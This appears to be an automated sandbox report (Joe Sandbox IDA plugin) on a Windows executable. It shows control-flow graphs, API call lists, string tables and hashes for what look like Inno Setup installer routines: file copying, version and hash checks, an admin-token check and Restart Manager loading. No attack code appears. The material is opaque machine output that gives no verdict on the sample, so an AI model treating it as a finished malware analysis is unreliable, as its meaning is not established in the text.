423e1e PostMessageA 56351->56357 56365 4240f6 56353->56365 56366 42410b 56353->56366 56354->56343 56447 41eff4 GetCurrentThreadId EnumThreadWindows 56355->56447 56362 423cb0 56356->56362 56363 423ea5 56356->56363 56440 423b84 NtdllDefWindowProc_A 56357->56440 56371 423cb9 56362->56371 56372 423dce IsIconic 56362->56372 56373 423eae 56363->56373 56374 423edf 56363->56374 56364 423e39 56364->56343 56375 4244d4 5 API calls 56365->56375 56449 42452c LocalAlloc TlsSetValue TlsGetValue TlsGetValue SendMessageA 56366->56449 56367->56377 56378 423e0b 56367->56378 56431 423b84 NtdllDefWindowProc_A 56368->56431 56370 4240c6 56370->56343 56382 4240ce SetFocus 56370->56382 56371->56377 56383 423d91 56371->56383 56385 423dea 56372->56385 56386 423dde 56372->56386 56442 423b14 LocalAlloc TlsSetValue TlsGetValue TlsGetValue SetWindowPos 56373->56442 56432 423b84 NtdllDefWindowProc_A 56374->56432 56375->56343 56376->56343 56392 423fd7 IsWindowEnabled 56376->56392 56377->56343 56433 423b84 NtdllDefWindowProc_A 56377->56433 56380 424178 12 API calls 56378->56380 56380->56343 56381 423e45 56389 423e83 56381->56389 56390 423e61 56381->56390 56382->56343 56383->56343 56436 422c4c ShowWindow PostMessageA PostQuitMessage 56383->56436 56438 423b84 NtdllDefWindowProc_A 56385->56438 56437 423bc0 15 API calls 56386->56437 56399 423a84 6 API calls 56389->56399 56441 423b14 LocalAlloc TlsSetValue TlsGetValue TlsGetValue SetWindowPos 56390->56441 56391 423eb6 56401 423ec8 56391->56401 56408 41ef58 6 API calls 56391->56408 56392->56343 56402 423fe5 56392->56402 56395 423ee5 56396 423efd 56395->56396 56403 41eea4 2 API calls 56395->56403 56404 423a84 6 API calls 56396->56404 56398->56343 56406 423f78 IsWindowEnabled 56398->56406 56407 423e8b PostMessageA 56399->56407 56443 423b84 NtdllDefWindowProc_A 56401->56443 56411 423fec IsWindowVisible 56402->56411 56403->56396 56404->56343 56405 423e69 PostMessageA 56405->56343 56406->56343 56410 423f86 56406->56410 56407->56343 56408->56401 56444 412310 7 API calls 56410->56444 56411->56343 56413 423ffa GetFocus 56411->56413 56414 4181e0 56413->56414 56415 42400f SetFocus 56414->56415 56445 415240 56415->56445 56419 423a94 56418->56419 56421 423b0d 56418->56421 56420 423a9a EnumWindows 56419->56420 56419->56421 56420->56421 56422 423ab6 GetWindow GetWindowLongA 56420->56422 56450 423a1c GetWindow 56420->56450 56421->56313 56423 423ad5 56422->56423 56423->56421 56424 423b01 SetWindowPos 56423->56424 56424->56421 56424->56423 56425->56323 56426->56323 56428 423b72 56427->56428 56429 423b7d 56427->56429 56428->56429 56430 408720 7 API calls 56428->56430 56429->56328 56429->56329 56430->56429 56431->56381 56432->56395 56433->56343 56434->56343 56435->56343 56436->56343 56437->56343 56438->56343 56439->56343 56440->56364 56441->56405 56442->56391 56443->56343 56444->56343 56446 41525b SetFocus 56445->56446 56446->56343 56447->56370 56448->56364 56449->56364 56451 423a3d GetWindowLongA 56450->56451 56452 423a49 56450->56452 56451->56452 56453 4809f7 56454 480a00 56453->56454 56456 480a2b 56453->56456 56455 480a1d 56454->56455 56454->56456 56825 476c50 189 API calls 56455->56825 56457 480a6a 56456->56457 56827 47f4a4 LocalAlloc TlsSetValue TlsGetValue TlsGetValue 56456->56827 56458 480a8e 56457->56458 56461 480a81 56457->56461 56462 480a83 56457->56462 56467 480aca 56458->56467 56468 480aac 56458->56468 56471 47f4e8 42 API calls 56461->56471 56829 47f57c 42 API calls 56462->56829 56463 480a22 56463->56456 56826 408be0 LocalAlloc TlsSetValue TlsGetValue TlsGetValue LoadStringA 56463->56826 56464 480a5d 56828 47f50c 42 API calls 56464->56828 56832 47f33c 24 API calls 56467->56832 56472 480ac1 56468->56472 56830 47f50c 42 API calls 56468->56830 56471->56458 56831 47f33c 24 API calls 56472->56831 56475 480ac8 56476 480ada 56475->56476 56477 480ae0 56475->56477 56478 480ade 56476->56478 56482 47f4e8 42 API calls 56476->56482 56477->56478 56480 47f4e8 42 API calls 56477->56480 56579 47c66c 56478->56579 56480->56478 56482->56478 56580 42d898 GetWindowsDirectoryA 56579->56580 56581 47c690 56580->56581 56582 403450 4 API calls 56581->56582 56583 47c69d 56582->56583 56584 42d8c4 GetSystemDirectoryA 56583->56584 56585 47c6a5 56584->56585 56586 403450 4 API calls 56585->56586 56587 47c6b2 56586->56587 56588 42d8f0 6 API calls 56587->56588 56589 47c6ba 56588->56589 56590 403450 4 API calls 56589->56590 56591 47c6c7 56590->56591 56592 47c6d0 56591->56592 56593 47c6ec 56591->56593 56864 42d208 56592->56864 56595 403400 4 API calls 56593->56595 56597 47c6ea 56595->56597 56599 47c731 56597->56599 56601 42c8cc 5 API calls 56597->56601 56598 403450 4 API calls 56598->56597 56844 47c4f4 56599->56844 56603 47c70c 56601->56603 56605 403450 4 API calls 56603->56605 56604 403450 4 API calls 56606 47c74d 56604->56606 56607 47c719 56605->56607 56608 47c76b 56606->56608 56609 4035c0 4 API calls 56606->56609 56607->56599 56611 403450 4 API calls 56607->56611 56610 47c4f4 8 API calls 56608->56610 56609->56608 56612 47c77a 56610->56612 56611->56599 56613 403450 4 API calls 56612->56613 56614 47c787 56613->56614 56616 47c7af 56614->56616 56617 42c3fc 5 API calls 56614->56617 56615 47c816 56620 47c8de 56615->56620 56621 47c836 SHGetKnownFolderPath 56615->56621 56616->56615 56618 47c4f4 8 API calls 56616->56618 56619 47c79d 56617->56619 56622 47c7c7 56618->56622 56625 4035c0 4 API calls 56619->56625 56625->56616 56825->56463 56827->56464 56828->56457 56829->56458 56830->56472 56831->56475 56832->56475 56845 42de1c RegOpenKeyExA 56844->56845 56846 47c51a 56845->56846 56847 47c540 56846->56847 56848 47c51e 56846->56848 56849 403400 4 API calls 56847->56849 56850 42dd4c 6 API calls 56848->56850 56851 47c547 56849->56851 56852 47c52a 56850->56852 56851->56604 56853 47c535 RegCloseKey 56852->56853 56854 403400 4 API calls 56852->56854 56853->56851 56854->56853 56865 4038a4 4 API calls 56864->56865 56866 42d21b 56865->56866 56867 42d232 GetEnvironmentVariableA 56866->56867 56871 42d245 56866->56871 56876 42dbd0 LocalAlloc TlsSetValue TlsGetValue TlsGetValue 56866->56876 56867->56866 56868 42d23e 56867->56868 56870 403400 4 API calls 56868->56870 56870->56871 56871->56598 56876->56866
                                                                                          Strings
                                                                                          • Non-default bitness: 64-bit, xrefs: 004708AF
                                                                                          • Version of existing file: (none), xrefs: 00470CFA
                                                                                          • Will register the file (a DLL/OCX) later., xrefs: 0047151F
                                                                                          • Version of existing file: %u.%u.%u.%u, xrefs: 00470B7C
                                                                                          • Same time stamp. Skipping., xrefs: 00470D55
                                                                                          • Existing file is protected by Windows File Protection. Skipping., xrefs: 00470DEC
                                                                                          • Existing file has a later time stamp. Skipping., xrefs: 00470DCF
                                                                                          • Dest file exists., xrefs: 004709BB
                                                                                          • Version of our file: (none), xrefs: 00470AFC
                                                                                          • User opted not to strip the existing file's read-only attribute. Skipping., xrefs: 00470E96
                                                                                          • Uninstaller requires administrator: %s, xrefs: 0047118F
                                                                                          • Skipping due to "onlyifdoesntexist" flag., xrefs: 004709CE
                                                                                          • User opted not to overwrite the existing file. Skipping., xrefs: 00470E4D
                                                                                          • .tmp, xrefs: 00470FB7
                                                                                          • Skipping due to "onlyifdestfileexists" flag., xrefs: 00470EFA
                                                                                          • -- File entry --, xrefs: 004706FB
                                                                                          • Dest filename: %s, xrefs: 00470894
                                                                                          • Incrementing shared file count (64-bit)., xrefs: 0047158C
                                                                                          • Stripped read-only attribute., xrefs: 00470EC7
                                                                                          • Installing the file., xrefs: 00470F09
                                                                                          • Existing file's SHA-1 hash matches our file. Skipping., xrefs: 00470CB5
                                                                                          • Failed to read existing file's SHA-1 hash. Proceeding., xrefs: 00470CD0
                                                                                          • Incrementing shared file count (32-bit)., xrefs: 004715A5
                                                                                          • Non-default bitness: 32-bit, xrefs: 004708BB
                                                                                          • Time stamp of our file: %s, xrefs: 0047099B
                                                                                          • , xrefs: 00470BCF, 00470DA0, 00470E1E
                                                                                          • Time stamp of existing file: %s, xrefs: 00470A2B
                                                                                          • @, xrefs: 004707B0
                                                                                          • Installing into GAC, xrefs: 00471714
                                                                                          • Same version. Skipping., xrefs: 00470CE5
                                                                                          • Time stamp of existing file: (failed to read), xrefs: 00470A37
                                                                                          • Couldn't read time stamp. Skipping., xrefs: 00470D35
                                                                                          • InUn, xrefs: 0047115F
                                                                                          • Version of our file: %u.%u.%u.%u, xrefs: 00470AF0
                                                                                          • Will register the file (a type library) later., xrefs: 00471513
                                                                                          • Time stamp of our file: (failed to read), xrefs: 004709A7
                                                                                          • Existing file is a newer version. Skipping., xrefs: 00470C02
                                                                                          • Dest file is protected by Windows File Protection., xrefs: 004708ED
                                                                                          • Existing file's SHA-1 hash is different from our file. Proceeding., xrefs: 00470CC4
                                                                                          • Failed to strip read-only attribute., xrefs: 00470ED3
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID: $-- File entry --$.tmp$@$Couldn't read time stamp. Skipping.$Dest file exists.$Dest file is protected by Windows File Protection.$Dest filename: %s$Existing file has a later time stamp. Skipping.$Existing file is a newer version. Skipping.$Existing file is protected by Windows File Protection. Skipping.$Existing file's SHA-1 hash is different from our file. Proceeding.$Existing file's SHA-1 hash matches our file. Skipping.$Failed to read existing file's SHA-1 hash. Proceeding.$Failed to strip read-only attribute.$InUn$Incrementing shared file count (32-bit).$Incrementing shared file count (64-bit).$Installing into GAC$Installing the file.$Non-default bitness: 32-bit$Non-default bitness: 64-bit$Same time stamp. Skipping.$Same version. Skipping.$Skipping due to "onlyifdestfileexists" flag.$Skipping due to "onlyifdoesntexist" flag.$Stripped read-only attribute.$Time stamp of existing file: %s$Time stamp of existing file: (failed to read)$Time stamp of our file: %s$Time stamp of our file: (failed to read)$Uninstaller requires administrator: %s$User opted not to overwrite the existing file. Skipping.$User opted not to strip the existing file's read-only attribute. Skipping.$Version of existing file: %u.%u.%u.%u$Version of existing file: (none)$Version of our file: %u.%u.%u.%u$Version of our file: (none)$Will register the file (a DLL/OCX) later.$Will register the file (a type library) later.
                                                                                          • API String ID: 0-4021121268
                                                                                          • Opcode ID: cebd1a573a13cfb1480ab73f2a07467b13e4d984594641078933206a2f2f5451
                                                                                          • Instruction ID: 04e5041402f80353ef90c659d92e8d378e84d4fed116f8838aecbbc27e5febe3
                                                                                          • Opcode Fuzzy Hash: cebd1a573a13cfb1480ab73f2a07467b13e4d984594641078933206a2f2f5451
                                                                                          • Instruction Fuzzy Hash: 31927574A0424CDFDB21DFA9C445BDDBBB5AF05304F1480ABE848A7392D7789E49CB19

                                                                                          Control-flow Graph

                                                                                          • Executed
                                                                                          • Not Executed
                                                                                          control_flow_graph 1578 42e09c-42e0ad 1579 42e0b8-42e0dd AllocateAndInitializeSid 1578->1579 1580 42e0af-42e0b3 1578->1580 1581 42e287-42e28f 1579->1581 1582 42e0e3-42e100 GetVersion 1579->1582 1580->1581 1583 42e102-42e117 GetModuleHandleA GetProcAddress 1582->1583 1584 42e119-42e11b 1582->1584 1583->1584 1585 42e142-42e15c GetCurrentThread OpenThreadToken 1584->1585 1586 42e11d-42e12b CheckTokenMembership 1584->1586 1589 42e193-42e1bb GetTokenInformation 1585->1589 1590 42e15e-42e168 GetLastError 1585->1590 1587 42e131-42e13d 1586->1587 1588 42e269-42e27f FreeSid 1586->1588 1587->1588 1591 42e1d6-42e1fa call 402648 GetTokenInformation 1589->1591 1592 42e1bd-42e1c5 GetLastError 1589->1592 1593 42e174-42e187 GetCurrentProcess OpenProcessToken 1590->1593 1594 42e16a-42e16f call 4031bc 1590->1594 1605 42e208-42e210 1591->1605 1606 42e1fc-42e206 call 4031bc * 2 1591->1606 1592->1591 1595 42e1c7-42e1d1 call 4031bc * 2 1592->1595 1593->1589 1598 42e189-42e18e call 4031bc 1593->1598 1594->1581 1595->1581 1598->1581 1607 42e212-42e213 1605->1607 1608 42e243-42e261 call 402660 CloseHandle 1605->1608 1606->1581 1611 42e215-42e228 EqualSid 1607->1611 1615 42e22a-42e237 1611->1615 1616 42e23f-42e241 1611->1616 1615->1616 1619 42e239-42e23d 1615->1619 1616->1608 1616->1611 1619->1608
                                                                                          APIs
                                                                                          • AllocateAndInitializeSid.ADVAPI32(00499788,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0042E0D6
                                                                                          • GetVersion.KERNEL32(00000000,0042E280,?,00499788,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0042E0F3
                                                                                          • GetModuleHandleA.KERNEL32(advapi32.dll,CheckTokenMembership,00000000,0042E280,?,00499788,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0042E10C
                                                                                          • GetProcAddress.KERNEL32(00000000,advapi32.dll), ref: 0042E112
                                                                                          • CheckTokenMembership.KERNELBASE(00000000,00000000,?,00000000,0042E280,?,00499788,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0042E127
                                                                                          • FreeSid.ADVAPI32(00000000,0042E287,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0042E27A
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: AddressAllocateCheckFreeHandleInitializeMembershipModuleProcTokenVersion
                                                                                          • String ID: CheckTokenMembership$advapi32.dll
                                                                                          • API String ID: 2252812187-1888249752
                                                                                          • Opcode ID: a9f409996ddfe82e0213da269ff1de212d34eb3ec341ac20085b7d7d2472ef68
                                                                                          • Instruction ID: e5677345bf142a8b1d9111380f95962c8bb8cf61ba8e960ca5c3fd0f127139eb
                                                                                          • Opcode Fuzzy Hash: a9f409996ddfe82e0213da269ff1de212d34eb3ec341ac20085b7d7d2472ef68
                                                                                          • Instruction Fuzzy Hash: E351A271B44215EEEB10EAE69C42BBF77ACEB09704F9404BBB901F7281D57C99018B79

                                                                                          Control-flow Graph

                                                                                          • Executed
                                                                                          • Not Executed
                                                                                          control_flow_graph 1642 4502c0-4502cd 1643 4502d3-4502e0 GetVersion 1642->1643 1644 45037c-450386 1642->1644 1643->1644 1645 4502e6-4502fc LoadLibraryA 1643->1645 1645->1644 1646 4502fe-450377 GetProcAddress * 6 1645->1646 1646->1644
                                                                                          APIs
                                                                                          • GetVersion.KERNEL32(00480B52), ref: 004502D3
                                                                                          • LoadLibraryA.KERNEL32(Rstrtmgr.dll,00480B52), ref: 004502EB
                                                                                          • GetProcAddress.KERNEL32(6E540000,RmStartSession), ref: 00450309
                                                                                          • GetProcAddress.KERNEL32(6E540000,RmRegisterResources), ref: 0045031E
                                                                                          • GetProcAddress.KERNEL32(6E540000,RmGetList), ref: 00450333
                                                                                          • GetProcAddress.KERNEL32(6E540000,RmShutdown), ref: 00450348
                                                                                          • GetProcAddress.KERNEL32(6E540000,RmRestart), ref: 0045035D
                                                                                          • GetProcAddress.KERNEL32(6E540000,RmEndSession), ref: 00450372
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: AddressProc$LibraryLoadVersion
                                                                                          • String ID: RmEndSession$RmGetList$RmRegisterResources$RmRestart$RmShutdown$RmStartSession$Rstrtmgr.dll
                                                                                          • API String ID: 1968650500-3419246398
                                                                                          • Opcode ID: 2681632e5309952c30eea3f8c2bf2722b4339596373eceda0d07b93e3cd0d7e4
                                                                                          • Instruction ID: c77cef2ad5653e61b65a4477cbb73d0d56cf7b8a9d174f96be3e9b6947252677
                                                                                          • Opcode Fuzzy Hash: 2681632e5309952c30eea3f8c2bf2722b4339596373eceda0d07b93e3cd0d7e4
                                                                                          • Instruction Fuzzy Hash: B211F7B4510301DBD710FB61BF45A2E36E9E728315B08063FE804961A2CB7C4844CF8C

                                                                                          Control-flow Graph

                                                                                          • Executed
                                                                                          • Not Executed
                                                                                          control_flow_graph 1790 423c0c-423c40 1791 423c42-423c43 1790->1791 1792 423c74-423c8b call 423b68 1790->1792 1793 423c45-423c61 call 40b24c 1791->1793 1798 423cec-423cf1 1792->1798 1799 423c8d 1792->1799 1819 423c63-423c6b 1793->1819 1820 423c70-423c72 1793->1820 1800 423cf3 1798->1800 1801 423d27-423d2c 1798->1801 1802 423c93-423c96 1799->1802 1803 423d50-423d60 1799->1803 1809 423fb1-423fb9 1800->1809 1810 423cf9-423d01 1800->1810 1804 423d32-423d35 1801->1804 1805 42409a-4240a8 IsIconic 1801->1805 1811 423cc5-423cc8 1802->1811 1812 423c98 1802->1812 1807 423d62-423d67 1803->1807 1808 423d6b-423d73 call 424194 1803->1808 1813 4240d6-4240eb call 424850 1804->1813 1814 423d3b-423d3c 1804->1814 1815 424152-42415a 1805->1815 1824 4240ae-4240b9 GetFocus 1805->1824 1821 423d78-423d80 call 4241dc 1807->1821 1822 423d69-423d8c call 423b84 1807->1822 1808->1815 1809->1815 1816 423fbf-423fca call 4181e0 1809->1816 1825 423f13-423f3a SendMessageA 1810->1825 1826 423d07-423d0c 1810->1826 1817 423da9-423db0 1811->1817 1818 423cce-423ccf 1811->1818 1827 423df6-423e06 call 423b84 1812->1827 1828 423c9e-423ca1 1812->1828 1813->1815 1831 423d42-423d45 1814->1831 1832 4240ed-4240f4 1814->1832 1829 424171-424177 1815->1829 1816->1815 1878 423fd0-423fdf call 4181e0 IsWindowEnabled 1816->1878 1817->1815 1841 423db6-423dbd 1817->1841 1842 423cd5-423cd8 1818->1842 1843 423f3f-423f46 1818->1843 1819->1829 1820->1792 1820->1793 1821->1815 1822->1815 1824->1815 1836 4240bf-4240c8 call 41eff4 1824->1836 1825->1815 1844 423d12-423d13 1826->1844 1845 42404a-424055 1826->1845 1827->1815 1837 423ca7-423caa 1828->1837 1838 423e1e-423e3a PostMessageA call 423b84 1828->1838 1847 424120-424127 1831->1847 1848 423d4b 1831->1848 1858 4240f6-424109 call 4244d4 1832->1858 1859 42410b-42411e call 42452c 1832->1859 1836->1815 1891 4240ce-4240d4 SetFocus 1836->1891 1855 423cb0-423cb3 1837->1855 1856 423ea5-423eac 1837->1856 1838->1815 1841->1815 1861 423dc3-423dc9 1841->1861 1862 423cde-423ce1 1842->1862 1863 423e3f-423e5f call 423b84 1842->1863 1843->1815 1851 423f4c-423f51 call 404e54 1843->1851 1864 424072-42407d 1844->1864 1865 423d19-423d1c 1844->1865 1845->1815 1849 42405b-42406d 1845->1849 1882 42413a-424149 1847->1882 1883 424129-424138 1847->1883 1866 42414b-42414c call 423b84 1848->1866 1849->1815 1851->1815 1873 423cb9-423cba 1855->1873 1874 423dce-423ddc IsIconic 1855->1874 1875 423eae-423ec1 call 423b14 1856->1875 1876 423edf-423ef0 call 423b84 1856->1876 1858->1815 1859->1815 1861->1815 1879 423ce7 1862->1879 1880 423e0b-423e19 call 424178 1862->1880 1906 423e83-423ea0 call 423a84 PostMessageA 1863->1906 1907 423e61-423e7e call 423b14 PostMessageA 1863->1907 1864->1815 1867 424083-424095 1864->1867 1884 423d22 1865->1884 1885 423f56-423f5e 1865->1885 1903 424151 1866->1903 1867->1815 1892 423cc0 1873->1892 1893 423d91-423d99 1873->1893 1899 423dea-423df1 call 423b84 1874->1899 1900 423dde-423de5 call 423bc0 1874->1900 1922 423ed3-423eda call 423b84 1875->1922 1923 423ec3-423ecd call 41ef58 1875->1923 1916 423ef2-423ef8 call 41eea4 1876->1916 1917 423f06-423f0e call 423a84 1876->1917 1878->1815 1924 423fe5-423ff4 call 4181e0 IsWindowVisible 1878->1924 1879->1866 1880->1815 1882->1815 1883->1815 1884->1866 1885->1815 1890 423f64-423f6b 1885->1890 1890->1815 1908 423f71-423f80 call 4181e0 IsWindowEnabled 1890->1908 1891->1815 1892->1866 1893->1815 1909 423d9f-423da4 call 422c4c 1893->1909 1899->1815 1900->1815 1903->1815 1906->1815 1907->1815 1908->1815 1937 423f86-423f9c call 412310 1908->1937 1909->1815 1935 423efd-423f00 1916->1935 1917->1815 1922->1815 1923->1922 1924->1815 1942 423ffa-424045 GetFocus call 4181e0 SetFocus call 415240 SetFocus 1924->1942 1935->1917 1937->1815 1946 423fa2-423fac 1937->1946 1942->1815 1946->1815
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 22958418fcb5307417e2cb8c5b21c835fdc4d5c2778e3f26f52eb9817f6a2da5
                                                                                          • Instruction ID: afb4f91cf4018cf9acc1c9974f14325182323c15c0e0405bd0f9b005e596376e
                                                                                          • Opcode Fuzzy Hash: 22958418fcb5307417e2cb8c5b21c835fdc4d5c2778e3f26f52eb9817f6a2da5
                                                                                          • Instruction Fuzzy Hash: 03E1AE31700124EFDB04DF69E989AADB7B5FB54300FA440AAE5559B352C73CEE81DB09

                                                                                          Control-flow Graph

                                                                                          • Executed
                                                                                          • Not Executed
                                                                                          control_flow_graph 2133 4673a4-4673ba 2134 4673c4-46747b call 49577c call 402b30 * 6 2133->2134 2135 4673bc-4673bf call 402d30 2133->2135 2152 46747d-4674a4 call 41463c 2134->2152 2153 4674b8-4674d1 2134->2153 2135->2134 2157 4674a6 2152->2157 2158 4674a9-4674b3 call 4145fc 2152->2158 2159 4674d3-4674fa call 41461c 2153->2159 2160 46750e-46751c call 495a84 2153->2160 2157->2158 2158->2153 2166 4674ff-467509 call 4145dc 2159->2166 2167 4674fc 2159->2167 2168 46751e-46752d call 4958cc 2160->2168 2169 46752f-467531 call 4959f0 2160->2169 2166->2160 2167->2166 2174 467536-467589 call 4953e0 call 41a3d0 * 2 2168->2174 2169->2174 2181 46759a-4675af call 451458 call 414b18 2174->2181 2182 46758b-467598 call 414b18 2174->2182 2187 4675b4-4675bb 2181->2187 2182->2187 2189 467603-467a89 call 49581c call 495b40 call 41461c * 3 call 4146bc call 4145dc * 3 call 460bfc call 460c14 call 460c20 call 460c68 call 460bfc call 460c14 call 460c20 call 460c68 call 460c14 call 460c68 LoadBitmapA call 41d6b0 call 460c38 call 460c50 call 467180 call 468c94 call 466800 call 40357c call 414b18 call 466b38 call 466b40 call 466800 call 40357c * 2 call 414b18 call 468c94 call 466800 call 414b18 call 466b38 call 466b40 call 414b18 * 2 call 468c94 call 414b18 * 2 call 466b38 call 4145fc call 466b38 call 4145fc call 468c94 call 414b18 call 466b38 call 466b40 call 468c94 call 414b18 call 466b38 call 4145fc * 2 call 414b18 call 466b38 call 4145fc 2187->2189 2190 4675bd-4675fe call 4146bc call 414700 call 420f98 call 420fc4 call 420b68 call 420b94 2187->2190 2320 467ae5-467afe call 414a44 * 2 2189->2320 2321 467a8b-467ae3 call 4145fc call 414b18 call 466b38 call 4145fc 2189->2321 2190->2189 2329 467b03-467bb4 call 466800 call 468c94 call 466800 call 414b18 call 495b40 call 466b38 2320->2329 2321->2329 2347 467bb6-467bd1 2329->2347 2348 467bee-467e24 call 466800 call 414b18 call 495b50 * 2 call 42e8c0 call 4145fc call 466b38 call 4145fc call 4181e0 call 42ed38 call 414b18 call 49581c call 495b40 call 41461c call 466800 call 414b18 call 466b38 call 4145fc call 466800 call 468c94 call 466800 call 414b18 call 466b38 call 4145fc call 466b40 call 466800 call 414b18 call 466b38 2329->2348 2349 467bd6-467be9 call 4145fc 2347->2349 2350 467bd3 2347->2350 2409 467e26-467e2f 2348->2409 2410 467e65-467f1e call 466800 call 468c94 call 466800 call 414b18 call 495b40 call 466b38 2348->2410 2349->2348 2350->2349 2409->2410 2411 467e31-467e60 call 414a44 call 466b40 2409->2411 2428 467f20-467f3b 2410->2428 2429 467f58-468379 call 466800 call 414b18 call 495b50 * 2 call 42e8c0 call 4145fc call 466b38 call 4145fc call 414b18 call 49581c call 495b40 call 41461c call 414b18 call 466800 call 468c94 call 466800 call 414b18 call 466b38 call 466b40 call 42bbd0 call 495b50 call 44e8b0 call 466800 call 468c94 call 466800 call 468c94 call 466800 call 468c94 * 2 call 414b18 call 466b38 call 466b40 call 468c94 call 4953e0 call 41a3d0 call 466800 call 40357c call 414b18 call 466b38 call 4145fc call 414b18 * 2 call 495b50 call 403494 call 40357c * 2 call 414b18 2410->2429 2411->2410 2431 467f40-467f53 call 4145fc 2428->2431 2432 467f3d 2428->2432 2528 46839d-4683a4 2429->2528 2529 46837b-468398 call 44ffdc call 450138 2429->2529 2431->2429 2432->2431 2531 4683a6-4683c3 call 44ffdc call 450138 2528->2531 2532 4683c8-4683cf 2528->2532 2529->2528 2531->2532 2535 4683f3-468439 call 4181e0 GetSystemMenu AppendMenuA call 403738 AppendMenuA call 468d88 2532->2535 2536 4683d1-4683ee call 44ffdc call 450138 2532->2536 2549 468453 2535->2549 2550 46843b-468442 2535->2550 2536->2535 2553 468455-468464 2549->2553 2551 468444-46844d 2550->2551 2552 46844f-468451 2550->2552 2551->2549 2551->2552 2552->2553 2554 468466-46846d 2553->2554 2555 46847e 2553->2555 2557 46846f-468478 2554->2557 2558 46847a-46847c 2554->2558 2556 468480-46849a 2555->2556 2559 468543-46854a 2556->2559 2560 4684a0-4684a9 2556->2560 2557->2555 2557->2558 2558->2556 2563 468550-468573 call 47c26c call 403450 2559->2563 2564 4685dd-4685eb call 414b18 2559->2564 2561 468504-46853e call 414b18 * 3 2560->2561 2562 4684ab-468502 call 47c26c call 414b18 call 47c26c call 414b18 call 47c26c call 414b18 2560->2562 2561->2559 2562->2559 2587 468584-468598 call 403494 2563->2587 2588 468575-468582 call 47c440 2563->2588 2572 4685f0-4685f9 2564->2572 2576 4685ff-468617 call 429fd8 2572->2576 2577 468709-468738 call 42b96c call 44e83c 2572->2577 2589 46868e-468692 2576->2589 2590 468619-46861d 2576->2590 2606 4687e6-4687ea 2577->2606 2607 46873e-468742 2577->2607 2602 4685aa-4685db call 42c804 call 42cbc0 call 403494 call 414b18 2587->2602 2603 46859a-4685a5 call 403494 2587->2603 2588->2602 2596 468694-46869d 2589->2596 2597 4686e2-4686e6 2589->2597 2598 46861f-468659 call 40b24c call 47c26c 2590->2598 2596->2597 2604 46869f-4686aa 2596->2604 2609 4686fa-468704 call 42a05c 2597->2609 2610 4686e8-4686f8 call 42a05c 2597->2610 2663 46865b-468662 2598->2663 2664 468688-46868c 2598->2664 2602->2572 2603->2602 2604->2597 2614 4686ac-4686b0 2604->2614 2617 4687ec-4687f3 2606->2617 2618 468869-46886d 2606->2618 2616 468744-468756 call 40b24c 2607->2616 